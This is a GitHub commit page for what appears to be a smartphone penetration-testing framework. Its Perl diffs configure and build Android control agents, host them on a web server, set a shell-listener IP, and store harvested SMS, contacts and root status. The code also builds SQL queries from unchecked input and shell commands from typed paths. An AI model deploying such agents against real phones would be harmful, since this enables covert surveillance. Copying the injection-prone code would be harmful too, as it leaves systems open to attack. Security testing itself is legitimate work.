Permalink
Browse files

v0.1.5

  • Loading branch information...
georgiaw committed Dec 27, 2012
1 parent 5f79d77 commit 58285a0ae78a8cc2315bcb2a5146d57385eb7297
View
BIN .DS_Store
Binary file not shown.
View
@@ -1 +1 @@
-Version 0.1.3
+Version 0.1.5
Binary file not shown.
@@ -54,8 +54,6 @@
$text = $webserver . $path . "/text.txt";
open(TEXTFILE, "+<$text");
$line= <TEXTFILE>;
- if ($line eq "Root Succeeded")
- {
$table = "data";
$username = $Variables{"MYSQLUSER"};
$password = $Variables{"MYSQLPASS"};
@@ -69,11 +67,10 @@
{
$dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
}
- $yes = "yes";
- $insertquery = "UPDATE $table SET root=" . "'" . $yes . "'" . " WHERE id=" . "'" . $id . "'";
+ $yes = $line;
+ $insertquery = "UPDATE $table SET root=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
$sql = $dbh->prepare($insertquery);
$sql->execute;
- }
close(TEXTFILE);
open(TEXTFILE2, ">$text");
print TEXTFILE2 "";
@@ -159,15 +156,13 @@
$line= <TEXTFILE>;
chomp($line);
#print $line;
- if ($line eq "Root Succeeded")
- {
#print "MATCH\n";
$table = "data";
- $yes = "yes";
+ $yes = "$line";
$insertquery = "UPDATE $table SET root=" . "'" . $yes . "'" . " WHERE id=" . "'" . $id . "'";
$sql = $dbh->prepare($insertquery);
$sql->execute;
- }
+
close(TEXTFILE);
open(TEXTFILE2, ">$text");
print TEXTFILE2 "";
View
@@ -2,9 +2,9 @@
#ROOT DIRECTORY FOR THE WEBSERVER THAT WILL HOST OUR FILES
WEBSERVER = /var/www
#IPADDRESS FOR WEBSERVER (webserver needs to be listening on this address)
-IPADDRESS = 192.168.1.103
+IPADDRESS = 192.168.20.111
#IP ADDRESS TO LISTEN ON FOR SHELLS
-SHELLIPADDRESS = 192.168.1.103
+SHELLIPADDRESS = 192.168.20.111
#IP ADDRESS OF SQLSERVER 127.0.0.1 IF LOCALHOST
MYSQLSERVER = 127.0.0.1
#DATABASE TYPE (mysql or postgres)
@@ -4,7 +4,7 @@
use Expect;
use IO::Socket;
use Device::SerialPort;
-$version = "0.1.4";
+$version = "0.1.5";
$configfile = "config";
open(CONFIG, "+<$configfile");
while (<CONFIG>)
@@ -78,6 +78,7 @@ ()
print "Select An Option from the Menu:\n\n";
print "\t1.) Attach Framework to a Deployed Agent\n";
print "\t2.) Generate Agent App\n";
+ print "\t3.) Copy Agent to Web Server\n";
print "spf>";
$choice2 = <>;
if ($choice2 == 1)
@@ -90,24 +91,47 @@ ()
choose_build();
last;
}
+ if ($choice2 == 3)
+ {
+ copy_agent();
+ last;
+ }
}
}
+sub copy_agent()
+{
+ $webpath = $Variables{"WEBSERVER"};
+ print "Hosting Path:";
+ $path = <>;
+ print "Filename:";
+ $filename = <>;
+ chomp($path);
+ chomp($filename);
+ $fullpath = $webpath. $path;
+ $command1 = "mkdir " . $fullpath;
+ system($command1);
+ $location = $Variables{"ANDROIDAGENT"};
+ $command = "cp " . $location . " " . $webpath . $path . $filename;
+ system($command);
+
+}
+
sub choose_build()
{
while (1){
- $export = "export PATH=${PATH}:" . $androidsdk . "/tools:" . "/platform-tools";
- system($export);
+ #$export = "export PATH=${PATH}:" . $androidsdk . "/tools:" . "/platform-tools";
+ #system($export);
$tempdir = $Variables{"ANDROIDTEMP"};
$ipaddress = $Variables{"IPADDRESS"};
$androidagentlocation = $Variables{"ANDROIDAGENT"};
+ $androidsdk = $Variables{"ANDROIDSDK"};
opendir(DIRE, $tempdir);
@choices = readdir(DIRE);
closedir(DIRE);
print "Choose an app template build\n\n";
- print "\t1.) Blank: No Front End\n";
$choiceslength = @choices;
for($i = 0; $i <= ($choiceslength); $i++) {
if (@choices[$i] eq "." || @choices[$i] eq ".." || @choices[$i] eq "AndroidAgent")
@@ -117,27 +141,22 @@ ()
}
}
$choiceslength = @choices;
- for($i = 2; $i <= ($choiceslength + 1); $i++) {
- print "\t" . $i . ".) " . @choices[($i - 2)] . "\n";
+ for($i = 1; $i <= $choiceslength; $i++) {
+ print "\t" . $i . ".) " . @choices[($i - 1)] . "\n";
}
print "\n\n";
print "spf>";
$choice1 = <>;
- if ($choice1 == 1)
- {
- make_agent();
- last;
- }
- elsif ($choice1 == 0)
+ if ($choice1 == 0)
{
return;
}
else
{
- $pick = $choice1 - 2;
+ $pick = ($choice1 - 1);
if ($pick < $choiceslength)
{
- $partpath = @choices[pick];
+ $partpath = @choices[$pick];
$fullpath1 = $tempdir . "/" . $partpath . "/res/values/strings.xml";
$export = "export PATH=${PATH}:" . $androidsdk . "/tools:" . "/platform-tools";
system($export);
@@ -165,7 +184,9 @@ ()
$command = "sed -i \'s/<string name=\"controlpath\">.*/<string name=\"controlpath\">\\" . $controlpath . "<\\/string>/' " . $fullpath1;
system($command);
$agentsrc = $tempdir . "/" . $partpath;
- $command = "android update project --path " . $agentsrc . " --target \"Google Inc.:Google APIs:4\"";
+ $command = $androidsdk . "/tools/android update project --path " . $agentsrc . " --target \"Google Inc.:Google APIs:4\"";
+ system($command);
+ $command = $androidsdk . "/tools/android update project --name " . @choices[$pick] . " --path ". $agentsrc;
system($command);
$command = "ant -f " . $agentsrc . "/build.xml clean debug";
system($command);
@@ -178,60 +199,6 @@ ()
}
}
-sub make_agent()
-{
- while(1)
- {
- $agentsrc = $Variables{"ANDROIDAGENTSRC"};
- $ipaddress = $Variables{"IPADDRESS"};
- $androidagentlocation = $Variables{"ANDROIDAGENT"};
- $androidsdk = $Variables{"ANDROIDSDK"};
- $codepath = $agentsrc . "/src/com/bulbsecurity/framework/";
- $agentfile = $codepath . "AndroidAgent.java";
- $receiverfile = $codepath . "SMSReceiver.java";
- $export = "export PATH=${PATH}:" . $androidsdk . "/tools:" . "/platform-tools";
- system($export);
- print "This module compiles an Android Agent for use with SPF.\n";
- print "Phone number of the control modem for the agent:";
- $controlphone = <>;
- chomp($controlphone);
- print "Control key for the agent:";
- $controlkey = <>;
- chomp($controlkey);
- print "Webserver control path for agent:";
- $controlpath = <>;
- chomp($controlpath);
- print "\n\nControl Number:" . $controlphone . "\nControl Key:" . $controlkey . "\nControl Path:" . $controlpath . "\nIs this correct?(y/n)";
- $correct = <>;
- chomp($correct);
- if (lc($correct) eq "y")
- {
- $command = "sed -i \'s/controlIP =.*/controlIP = \"" . $ipaddress . "\";/' " . $agentfile;
- system($command);
- $command = "sed -i \'s/controlNumber =.*/controlNumber = \"" . $controlphone . "\";/' " . $agentfile;
- system($command);
- $command = "sed -i \'s/controlnumber =.*/controlnumber = \"" . $controlphone . "\";/' " . $receiverfile;
- system($command);
- $command = "sed -i \'s/key =.*/key = \"" . $controlkey . "\";/' " . $agentfile;
- system($command);
- $command = "sed -i \'s/key =.*/key = \"" . $controlkey . "\";/' " . $receiverfile;
- system($command);
- $command = "sed -i \'s/path =.*/path = \"\\" . $controlpath . "\";/' " . $agentfile;
- system($command);
- $command = "android update project --path " . $agentsrc . " --target \"Google Inc.:Google APIs:4\"";
- system($command);
- $command = "ant -f " . $agentsrc . "/build.xml debug";
- system($command);
- $command = "cp " . $agentsrc . "/bin/AndroidAgentActivity-debug-unaligned.apk " . $androidagentlocation;
- system($command);
- last;
- }
-
- }
-
-
-
-}
sub database_clear()
@@ -264,15 +231,15 @@ ()
}
$createquery1 = "create table agents (id SERIAL NOT NULL PRIMARY KEY, number varchar(12),path varchar(1000), controlkey varchar(7), controlnumber varchar(12), platform varchar(12))";
- $createquery2 = "create table data (id SERIAL NOT NULL PRIMARY KEY, sms varchar(2000),contacts varchar(1000), picture varchar(100), root varchar(5))";
+ $createquery2 = "create table data (id SERIAL NOT NULL PRIMARY KEY, sms varchar(2000),contacts varchar(1000), picture varchar(100), root varchar(50))";
$createquery3 = "create table modems (id SERIAL NOT NULL PRIMARY KEY, number varchar(12), path varchar(1000), controlkey varchar(7), type varchar(3))";
$createquery4 = "create table remote (id SERIAL NOT NULL PRIMARY KEY, ip varchar(15), exploit varchar(200), vuln varchar(3), agent varchar(3))";
$createquery5 = "create table client (id SERIAL NOT NULL PRIMARY KEY, number varchar(12), exploit varchar(200), vuln varchar(3))";
}
elsif ($type eq "mysql")
{
- $createquery1 = "create table agents (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, number varchar(12),path varchar(1000), controlkey varchar(7), controlnumber varchar(12), platform varchar(12))";
+ $createquery1 = "create table agents (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, number varchar(15),path varchar(1000), controlkey varchar(7), controlnumber varchar(12), platform varchar(12))";
$createquery2 = "create table data (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, sms varchar(2000),contacts varchar(1000), picture varchar(100), root varchar(5))";
$createquery3 = "create table modems (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, number varchar(12), path varchar(1000), controlkey varchar(7), type varchar(3))";
$createquery4 = "create table remote (id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, ip varchar(15), exploit varchar(200), vuln varchar(3), agent varchar(3))";
@@ -1982,7 +1949,8 @@ sub agent_attach
elsif ($type eq "mysql")
{
$dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
- $query2 = "SELECT id from agents where number=" . $phonenumber;
+ $phonenumberr = "\"" . $phonenumber . "\"";
+ $query2 = "SELECT id from agents where number=" . $phonenumberr;
}
$sql = $dbh->prepare($query2);
$idblah = $sql->execute;
@@ -404,10 +404,8 @@
$text = $webserver . $path1 . "/text.txt";
open(TEXTFILE, "+<$text");
$line= <TEXTFILE>;
- if ($line eq "Root Succeeded")
- {
$table = "data";
- $yes = "yes";
+ $yes = "$line";
$insertquery = "UPDATE $table SET root=" . "'" . $yes . "'" . " WHERE id=" . "'" . $i . "'";
$sql = $dbh->prepare($insertquery);
$sql->execute;

0 comments on commit 58285a0

Please sign in to comment.